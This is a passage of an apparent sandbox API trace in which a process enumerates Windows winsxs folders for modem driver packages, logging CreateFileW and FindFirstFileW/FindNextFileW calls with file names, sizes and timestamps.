	[0108.439] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr00a.inf_loc", cAlternateFileName="MDMBR0~1.INF")) returned 1
	[0108.440] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.440] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.442] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr00a.inf_31bf3856ad364e35_6.1.7600.16385_none_d91ec149a48bafcf" (normalized: "c:\\windows\\winsxs\\amd64_mdmbr00a.inf_31bf3856ad364e35_6.1.7600.16385_none_d91ec149a48bafcf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.442] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr00a.inf_31bf3856ad364e35_6.1.7600.16385_none_d91ec149a48bafcf\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b50f6b9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b50f6b9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b50f6b9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.442] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b50f6b9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b50f6b9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b50f6b9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.442] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0de0c3b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xf1068368, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xf1068368, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x44a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrSerIb.sys", cAlternateFileName="")) returned 1
	[0108.442] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359bcaf8, ftCreationTime.dwHighDateTime=0x1ca0421, ftLastAccessTime.dwLowDateTime=0x359bcaf8, ftLastAccessTime.dwHighDateTime=0x1ca0421, ftLastWriteTime.dwLowDateTime=0xc9a5876f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrUsbSIb.sys", cAlternateFileName="")) returned 1
	[0108.442] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7db6989, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0xf7db6989, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xf7a70b8b, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x9652, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr00a.inf", cAlternateFileName="")) returned 1
	[0108.442] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.442] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.445] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbsb.inf_31bf3856ad364e35_6.1.7600.16385_none_baf00341e98f4c31" (normalized: "c:\\windows\\winsxs\\amd64_mdmbsb.inf_31bf3856ad364e35_6.1.7600.16385_none_baf00341e98f4c31"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.445] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbsb.inf_31bf3856ad364e35_6.1.7600.16385_none_baf00341e98f4c31\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.445] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.446] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x395049f4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x395049f4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x39446323, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x610c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbsb.inf", cAlternateFileName="")) returned 1
	[0108.446] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.446] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.446] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbtmdm.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0c94d133e97bf540" (normalized: "c:\\windows\\winsxs\\amd64_mdmbtmdm.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0c94d133e97bf540"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.446] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbtmdm.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0c94d133e97bf540\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd05713, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd05713, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd05713, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.446] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd05713, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd05713, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd05713, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.446] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbtmdm.inf_loc", cAlternateFileName="MDMBTM~1.INF")) returned 1
	[0108.446] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.446] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.447] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbtmdm.inf_31bf3856ad364e35_6.1.7600.16385_none_4998bfc1a50ffd5a" (normalized: "c:\\windows\\winsxs\\amd64_mdmbtmdm.inf_31bf3856ad364e35_6.1.7600.16385_none_4998bfc1a50ffd5a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.447] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbtmdm.inf_31bf3856ad364e35_6.1.7600.16385_none_4998bfc1a50ffd5a\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1860c3e3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1860c3e3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1860c3e3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.447] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1860c3e3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1860c3e3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1860c3e3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.447] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdbe1c54, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xfdbe1c54, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xfdafd426, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x11a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bthmodem.sys", cAlternateFileName="")) returned 1
	[0108.447] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c375ca, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x12c375ca, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x12b52d9c, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xd186, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbtmdm.inf", cAlternateFileName="")) returned 1
	[0108.447] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.447] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.450] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbug3.inf_31bf3856ad364e35_6.1.7600.16385_none_fb6430b94dd81b21" (normalized: "c:\\windows\\winsxs\\amd64_mdmbug3.inf_31bf3856ad364e35_6.1.7600.16385_none_fb6430b94dd81b21"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.450] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbug3.inf_31bf3856ad364e35_6.1.7600.16385_none_fb6430b94dd81b21\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.450] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.450] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379f11d6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x379f11d6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3790c9a8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x210a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbug3.inf", cAlternateFileName="")) returned 1
	[0108.450] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.450] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.451] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbw561.inf_31bf3856ad364e35_6.1.7600.16385_none_ccdcd7e1bbd30d11" (normalized: "c:\\windows\\winsxs\\amd64_mdmbw561.inf_31bf3856ad364e35_6.1.7600.16385_none_ccdcd7e1bbd30d11"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.451] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbw561.inf_31bf3856ad364e35_6.1.7600.16385_none_ccdcd7e1bbd30d11\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.451] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.451] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363ec812, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x363ec812, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x36307fe4, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x72e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDMBW561.INF", cAlternateFileName="")) returned 1
	[0108.451] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.451] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.452] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmc26a.inf_31bf3856ad364e35_6.1.7600.16385_none_2ca97652b619e316" (normalized: "c:\\windows\\winsxs\\amd64_mdmc26a.inf_31bf3856ad364e35_6.1.7600.16385_none_2ca97652b619e316"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.452] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmc26a.inf_31bf3856ad364e35_6.1.7600.16385_none_2ca97652b619e316\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.452] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.452] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39aabdc2, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x39aabdc2, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x399ed6f1, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x64c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmc26a.inf", cAlternateFileName="")) returned 1
	[0108.452] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.452] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.452] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmcdp.inf_31bf3856ad364e35_6.1.7600.16385_none_3f1541fe31238ac7" (normalized: "c:\\windows\\winsxs\\amd64_mdmcdp.inf_31bf3856ad364e35_6.1.7600.16385_none_3f1541fe31238ac7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.452] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmcdp.inf_31bf3856ad364e35_6.1.7600.16385_none_3f1541fe31238ac7\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.453] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.453] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e580b7d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3e580b7d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3e5348c3, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2f36, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmcdp.inf", cAlternateFileName="")) returned 1
	[0108.453] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.453] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.453] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmcm28.inf_31bf3856ad364e35_6.1.7600.16385_none_d130a4ccfd6ae450" (normalized: "c:\\windows\\winsxs\\amd64_mdmcm28.inf_31bf3856ad364e35_6.1.7600.16385_none_d130a4ccfd6ae450"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
